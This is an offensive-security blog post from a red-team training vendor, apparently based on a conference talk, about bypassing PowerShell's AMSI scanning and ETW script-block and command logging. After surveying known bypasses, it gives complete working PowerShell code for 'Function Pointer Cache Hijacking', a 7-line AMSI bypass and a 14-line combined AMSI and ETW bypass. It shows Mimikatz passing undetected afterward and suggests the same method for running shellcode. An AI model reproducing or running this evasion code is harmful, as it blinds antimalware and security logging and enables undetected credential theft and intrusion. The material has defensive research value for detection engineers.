Introduction
I recently gave a talk at The Hack Summit in Warsaw, Poland titled "Your PowerShell is PWNED: A Session About Defense Evasion". The talk covered the full landscape of PowerShell security bypasses, from classic memory patching all the way to a novel technique I developed called Function Pointer Cache Hijacking.
This new technique allows you to turn off AMSI, mute ETW for your powershell session and possibly execute your own shellcode without using CreateThread API.
So, in this blog post, I'm going to cover AMSI, ETW and mostly importantly how "Function Pointer Cache Hijacking" technique works
So, buckle up and let's get started.
Want To Go Deeper?
If you want a more in-depth training in Powershell, we are announcing a 4-day live training in Jan 25, 2027.
"Offensive PowerShell: Advanced Red Teaming, Obfuscation & Evasion"
This training will go in-depth in AMSI, ETW Bypass, developing your malicious scripts (Powershell & C#), executing your own shellcode, Active Directory enumeration, credential theftl, lateral movement and so much more. And of course a certification will be grunted to you at the end.
Table of Contents
- The Defensive Landscape
- What is AMSI?
- What is ETW?
- Current Bypasses and Why They All Have Problems
- The Core Observation
- Building the Attack
- Extending to ETW
- The Full Bypass
- What's Next?
The Defensive Landscape
Before we get into the bypass, you need to understand what we are up against. PowerShell has two major protection mechanisms that defenders rely on.
- AMSI (Antimalware Scan Interface), which does real-time content scanning before execution.
- Script Block Logging (ETW) which logs every script block before it runs.
Let's talk about them one by one
What is AMSI?
AMSI stands for Antimalware Scan Interface. It is built inside a windows library called amsi.dll which allows applications to send your script to your registered antimalware provider, usually Microsoft Defender, for real-time inspection.
Here is the thing about AMSI. It does not just scan the script file you are running. It hooks directly into the PowerShell engine, the .NET runtime, VBScript, and even Office VBA macros. It sees the final payload after all deobfuscation.
So, it can scan encrypted code after they got decrypted. Any call to IEX or Invoke-Expression, which executes powershell code from text, will lead to AMSI scanning your about-to-be-executed script.
The key commands or APIs this DLL has are:
AmsiInitialize()sets up the AMSI contextAmsiOpenSession()opens a scan sessionAmsiScanBuffer()is the main scanning function that passes content to the AV providerAmsiCloseSession()andAmsiUninitialize()handle cleanup
From PowerShell's side there is ScanContent(), which is the managed method that calls into AmsiScanBuffer via P/Invoke. Remember that P/Invoke detail. It becomes critical later.
In practice, try running Invoke-Mimikatz in a fresh PowerShell session and you get this:
And that's one of the things we will try to bypass today.
What is ETW?
Event Tracing for Windows (ETW) is the kernel-level publish/subscribe logging mechanism in Windows. Providers emit events, sessions route them, consumers process them.
Inside Powershell itself, there are multiple providers that emit logs to windows. Antiviruses or Endpoint Detection Response tools (EDRs) listen to these events, scan them and terminate sessions if they think they are doing something malicious
the two critical event IDs are being emitted:
EID 4104 (Script Block Logging) logs every script block before execution. It captures the content after all decoding and concatenation. It records exactly what PowerShell executes, not what the operator typed. String splitting and encoding offer zero protection here.
EID 7937 (Command Lifecycle) is module and command logging. It captures every command invocation.
These are two separate telemetry channels powered by two different call sites inside powershell or its .Net code. Both must be addressed. Missing one means the blue team still sees half your activity.
Current AMSI Bypasses
Let me walk you through the existing landscape and explain what each approach to bypass AMSI or ETW and how they work
Memory Patching
The first widely known AMSI bypass came from CyberArk in May 2018. The idea is simple. amsi.dll loads in the same virtual memory space as your PowerShell process. You call VirtualProtect to make the page writable, then overwrite the beginning of AmsiScanBuffer code to force it to immediately return nothing is detected without scanning your code
The most famous variant, from Rasta Mouse, overwrites the first 6 bytes of AmsiScanBuffer with mov eax, 0x80070057; ret. This returns E_INVALIDARG immediately.
Which means that AmsiScanBuffer kinda failed to scan and therefore nothing to look at here. PowerShell returns AMSI_RESULT_NOT_DETECTED and executes your code
The problem is that every variant of this produces the same artifacts. Code modification in a loaded module plus a VirtualProtect call to change page permissions. EDRs hook VirtualProtect and do a scan. Or periodically checks the first few bytes of each AMSI API and if there is any changes, it will terminate your powershell process.
Improved Patching
Some researchers tried to be smarter about where they patch. Instead of the first few bytes in a function, they patch at offset +0x1B and replace mov edi, r8d with xor edi, edi. This zeroes the buffer length parameter so AmsiScanBuffer scans nothing.
The first few bytes stay intact so naive integrity checks that only look at the first few bytes pass. But VirtualProtect is still required.
Also, some EDRs resort to full code section hashing catches it too. Each DLL has multiple sections (code, data, resources ... etc). So, EDRs hash the code section on disk and in memory. If they are different, it means a patching has already happened.
This idea would work on Windows Defender for sure, but not all EDRs
Patchless Patching with Hardware Breakpoints
The patchless patching is a very interesting idea. It abuses windows and intel processors' interface for debuggers.
Debuggers control the program execution, set breakpoints and modify the next instruction address to redirect the execution flow somewhere else. Also, they can modify memory and variables if they need to.
So, this approach abuses this functionality and uses a hardware-supported type of breakpoints called "Hardware Breakpoints". These hardware breakpoints are able to pause the execution on a specific point without you having to modify the code. And because there's no actual debugger, they just raise an exception (error)
You can handle this error by redirecting the execution to another piece of code that returns E_INVALIDARG or AMSI_RESULT_NOT_DETECTED
So, this technique sets a hardware breakpoint at AmsiScanBuffer's entry point. A Vectored Exception Handler (error handler) intercepts the error, sets the return value to invalid argument or E_INVALIDARG, and returns. The DLL stays completely unmodified in memory.
It's a very complex technique, highly evasive however complex in coding (Especially in powershell) which makes it easier to detect on text-based scanning level. And sometimes scannable. As it is easy to scan all threads in a process if they have hardware breakpoints set (without a debugger which is a red flag).
Data Manipulation
The simplest approach is Matt Graeber's amsiInitFailed from 2016. One line that sets an internal field to $true via .NET reflection. No native code touched. No VirtualProtect.
The concept here is this: I can directly modify Powershell's C# values (even private ones) to make it behave differently.
There are other manipulation targets too. Nulling amsiSession so scan calls return early. setting m_enabled to false to turn off ETW. And so on.
They are very effective because for an EDR, it is extremely hard to inspect these variables from outside.
The problem is that every single variant is signatured by major antimalware products through string detection. The moment you type certain amsiInitFailed, you are caught. Of course string obfuscation goes a long way to bypass these signatures
Also, if you are using C# to do that, Powershell 5.1 uses CodeDOM. So, Add-Type based approaches drop .cs files to TEMP and compile it to a DLL file in TEMP, which file scanning and module logging detect.
That's a restriction in CodeDOM, it needs to compile things on disk and this is where you get caught
Function Pointer Cache Hijacking
The Core Observation
This is where things get interesting.
If you look at the PowerShell source code in SecuritySupport.cs, inside AmsiUtils there is a nested class called AmsiNativeMethods. And it includes all the amsi.dll APIs and their declarations like this
[DefaultDllImportSearchPaths(DllImportSearchPath.System32)]
[DllImport("amsi.dll", EntryPoint = "AmsiScanBuffer", CallingConvention = CallingConvention.StdCall)]
internal static extern int AmsiScanBuffer(...)PowerShell's managed ScanContent() method calls this AmsiScanBuffer, which ends up calling AmsiScanBuffer in amsi.dll.
Now here is the observation that changes everything.
.Net does not resolve these API addresses on every call.
On the first call, the .Net compiler resolves the native function address using LoadLibrary and GetProcAddress. That resolved address gets stored somewhere in memory in an internal structure. Inside this structure now you have the cached pointer to this API
That structure lives in a read/write heap area in memory. Not read-only. Not protected. Just sitting in writable memory. Every subsequent call reads directly from the cached pointer. The CLR never resolves the address again.
The attack is simple. If we can find where .Net cached the function pointer for AmsiScanBuffer and overwrite it with the address of a different function, every future call to AmsiScanBuffer will actually call our substitute instead.
No patching of amsi.dll. No VirtualProtect. No code modification at all. Just changing a pointer in a data structure.
Building the Attack
The attack has four steps.
Step 1: Get the MethodHandle. Use .NET reflection to get AmsiNativeMethods.AmsiScanBuffer's MethodHandle. The MethodHandle is actually the address of that internal structure that contains the cached pointer. It's called MethodDesc
Step 2: Get the cached pointer. Call GetFunctionPointer() on the MethodHandle. This returns the actual native address the CLR/.Net cached, the real address of AmsiScanBuffer in amsi.dll.
Step 3: Find the offset (Where this address is stored). Now we have the area in memory and the value we want to find in this area. We can now scan for like 400-600 bytes from the base address, looking for the value that contains our known function pointer. When we find a match, that is the offset we need to overwrite.
We will go in 8 bytes steps. As addresses are 8 bytes in x64 systems and windows always like to align things. So, we will go 8 bytes at a time.
Step 4: Overwrite. Use Marshal.WriteIntPtr to replace the cached pointer with our substitute's address.
Simple in concept. The tricky part is choosing the right substitute.
The CFG Problem
My first idea was redirecting to the end of the function or the area in the AmsiScanBuffer where it reports an error. However, Control Flow Guard (CFG) blocks this.
CFG is a windows security protection against exploits. It validates any call and only allows calls to a beginning of a function or somehow an injected shellcode (RWX memory). Mid-function code are CFG INVALID. The process terminates.
I also tried allocating shellcode via VirtualAlloc with RWX permissions that just returns the value we want. It works perfectly however, it is complicated. You need C# and CodeDOM, which compiles a DLL to disk. Too many fingerprints.
It is a good idea if you want to execute your shellcode anyway. Definitely the right path. But if you want a simple way without too many alarms, keep reading
Searching for the Perfect API
I thought of a smart idea, I tried swapping with AmsiOpenSession since it is another cached API (no need to go to C# to resolve addresses) and also it is CFG-compliant.
However AmsiOpenSession takes a pointer parameter and writes to it. AmsiScanBuffer doesn't take a writable address parameter in that position, Instant memory access violation.
On x64, the first four parameters are not passed in memory, they are passed in a cached variables litterally inside the processor itself called registers. So if our substitute function takes fewer parameters, it simply ignores the extra register values without corrupting anything.
What we need is an API with:
- Zero parameters, so it does not corrupt anything or touch the
resultout parameter - Returns a value >= 0, so
Utils.Succeeded(hr)returns TRUE, which means powershell will say it is undetected - A valid CFG target, meaning another API (from its beginning)
- Already cached in PowerShell's CLR, so we can get its pointer directly without needing C# code to get its address
I wrote an enumeration script that scores every DllImport method accessible through reflection across all loaded assemblies. Zero parameters, no ref/out, returns Int32 means a perfect score.
[Ref].Assembly.GetTypes() | ForEach-Object {
$type = $_
$type.GetMethods('NonPublic,Static') | % {
$di = $_.GetCustomAttributes(
[DllImportAttribute], $false)
if ($di.Count -eq 0) { return }
$p = $_.GetParameters()
$score = 0
if ($p.Count -eq 0) { $score += 3 }
if (-not ($p|?{$_.ParameterType.IsByRef}))
{ $score += 2 }
if ($_.ReturnType -in @(
[int],[uint32],[IntPtr])){ $score += 2 }
# Score 7 = PERFECT CANDIDATE
}
}The winner is GetCurrentThreadId().
Thread IDs are always positive integers. So Succeeded() always returns TRUE. And since GetCurrentThreadId takes zero parameters, So, no memory exceptions or anything. And always nothing is detected.
The 7-Line AMSI Bypass
$f = [Reflection.BindingFlags]'NonPublic,Static'
$b = [Ref].Assembly.GetType('System.Management.Automation.AmsiUtils'). `
GetNestedType('AmsiNativeMethods',[Reflection.BindingFlags]'NonPublic')
$c = [Ref].Assembly.GetType('System.Management.Automation.PsUtils'). `
GetNestedType('NativeMethods',[Reflection.BindingFlags]'NonPublic')
$m = $b.GetMethod('AmsiScanBuffer',$f).MethodHandle
$ptr1 = $c.GetMethod('GetCurrentThreadId',$f).MethodHandle.GetFunctionPointer()
$o = 1..50|?{[Runtime.InteropServices.Marshal]::ReadIntPtr($m.Value,$_*8) -eq `
$m.GetFunctionPointer()}|select -First 1
[Runtime.InteropServices.Marshal]::WriteIntPtr($m.Value,$o*8,$ptr1)What each line does:
So, in nutshell here, we get the MethodHandle amd the FunctionPointer for AmsiScanBuffer from inside System.Management.Automation.AmsiUtils.
And we do the same for GetCurrentThreadId but we only get the function pointer (The actual address only)
And then we search for AmsiScanBuffer address in the internal structure given by MethodHandle and we replace the address with GetCurrentThreadId address.
Before the swap:
PS C:\> IEX 'Invoke-Mimikatz'
This script contains malicious content and has been blocked by your antivirus.After the swap:
PS C:\> IEX 'Invoke-Mimikatz'
Invoke-Mimikatz : The term is not recognized as the name of a cmdlet...AMSI is completely blind. The CommandNotFoundException just means the function is not loaded in memory. AMSI had no idea what was passed to it.
Extending to ETW
The same primitive works for ETW.
EventWriteTransfer, the native API that writes ETW events, it is also a imported the same way as AMSI ones. Same process but only this time, there are two catches
Catch 1: Dual Location. EventWriteTransfer exists in two separate assemblies. Inside Microsoft.Win32.UnsafeNativeMethods in ManifestEtw nested type, which handles EID 4104 (Script Block Logging).
And inside again Microsoft.Win32.UnsafeNativeMethods but this time in System.Core, which handles EID 7937 (Command Lifecycle). Both must be redirected.
Catch 2: Return Value. The caller expects EventWriteTransfer to return zero for success. GetCurrentThreadId returns a positive thread ID, which is non-zero. So we need a different substitute.
AllocConsole as the ETW Swap Target
After the same analysis process, the perfect target is AllocConsole().
It has zero parameters. It is already cached in PowerShell's CLR because PowerShell allocated a console during startup.
When called a second time it fails because a console already exists. When it fails it returns 0 (the BOOL is FALSE). The EventWriteTransfer caller receives 0, interprets it as success, and writes no event data. And it is a valid CFG target.
Here is what the ETW log shows after the swap:
# ETW logs its own death:
15:52:22 EID 4104 $ptr2 = ...AllocConsole...
15:52:22 EID 4104 $m1 = ManifestEtw...
15:52:23 EID 4104 WriteIntPtr($o2*8) <- LAST EVENT ETW EVER WRITES
# After the swap, complete silence:
AfterTheSwap -> EID 7937: nothing EID 4104: nothing
Invoke-Mimikatz -> EID 7937: nothing EID 4104: nothingETW logged its own death and then went completely blind.
The Full Bypass
AMSI and ETW together in 14 lines of pure PowerShell:
$f = [Reflection.BindingFlags]'NonPublic,Static'
$b = [Ref].Assembly.GetType('System.Management.Automation.AmsiUtils'). `
GetNestedType('AmsiNativeMethods',[Reflection.BindingFlags]'NonPublic')
$c = [Ref].Assembly.GetType('System.Management.Automation.PsUtils'). `
GetNestedType('NativeMethods',[Reflection.BindingFlags]'NonPublic')
$m = $b.GetMethod('AmsiScanBuffer',$f).MethodHandle
$ptr1 = $c.GetMethod('GetCurrentThreadId',$f).MethodHandle.GetFunctionPointer()
$o = 1..50|?{[Runtime.InteropServices.Marshal]::ReadIntPtr($m.Value,$_*8) -eq `
$m.GetFunctionPointer()}|select -First 1
[Runtime.InteropServices.Marshal]::WriteIntPtr($m.Value,$o*8,$ptr1)
$ptr2 = [Ref].Assembly.GetType('System.Management.Automation.ConsoleVisibility'). `
GetMethod('AllocConsole',$f).MethodHandle.GetFunctionPointer()
$m1 = [System.Object].Assembly.GetType('Microsoft.Win32.UnsafeNativeMethods'). `
GetNestedType('ManifestEtw',[Reflection.BindingFlags]'NonPublic'). `
GetMethods($f)|?{$_.Name -eq 'EventWriteTransfer'}|select -First 1
$m2 = [System.Linq.Enumerable].Assembly. `
GetType('Microsoft.Win32.UnsafeNativeMethods').GetMethods($f)|?{$_.Name -eq `
'EventWriteTransfer'}|select -First 1
$o1 = 1..50|?{[Runtime.InteropServices.Marshal]::ReadIntPtr($m1.MethodHandle.Value, `
$_*8) -eq $m1.MethodHandle.GetFunctionPointer()}|select -First 1
$o2 = 1..50|?{[Runtime.InteropServices.Marshal]::ReadIntPtr($m2.MethodHandle.Value, `
$_*8) -eq $m2.MethodHandle.GetFunctionPointer()}|select -First 1
[Runtime.InteropServices.Marshal]::WriteIntPtr([IntPtr]($m1.MethodHandle.Value. `
ToInt64()+$o1*8),$ptr2)
[Runtime.InteropServices.Marshal]::WriteIntPtr([IntPtr]($m2.MethodHandle.Value. `
ToInt64()+$o2*8),$ptr2)No VirtualProtect. No native memory patching. No shellcode. No C# CodeDOM compilation. No hardware breakpoints. No VEH handlers. Just pure managed .NET reflection manipulating the CLR's own internal pointer cache.
What this bypasses all at once:
- Script Block Logging (EID 4104) suppressed after the ManifestEtw pointer swap
- AMSI all content evaluated as AMSI_RESULT_CLEAN because GetCurrentThreadId returns a positive value and never touches the result variable
- Command Logging (EID 7937) suppressed via the System.Core EventWriteTransfer swap
- Control Flow Guard all targets are valid API beginnings, CFG is happy
- C# CodeDOM detections no Add-Type, no compilation, no cs or DLLs dropped to disk
Take it to shellcode
I won't talk much about this but if you do have a direct shellcode you want to execute. Why swap AmsiScanBuffer address with another API? why not with your own shellcode.
It will guarantee your shellcode will run, you will mute AmsiScanBuffer, win-win. As well you won't need to use CreateThread to do the execution.
Conclusion
So, in this blog we explored the whole landscape of AMSI & ETW. Their common bypasses until today ending with a new novel technique called Function Pointer Cache Hijacking
And also, we ended with an exactly 14 lines code of complete bypass to AMSI & ETW.
If you enjoyed this, please share it on your social media and tag me so I can see it.
What is MalTrak and why you should care?
MalTrak is a cybersecurity training and services company that focuses on advanced offensive security, malware development, and EDR evasion training. We provide live instructor-led in-depth trainings that are meant for teams and professionals in the field.
We also provide red teaming services and cloud audit. Check our training and services at maltrak.com.
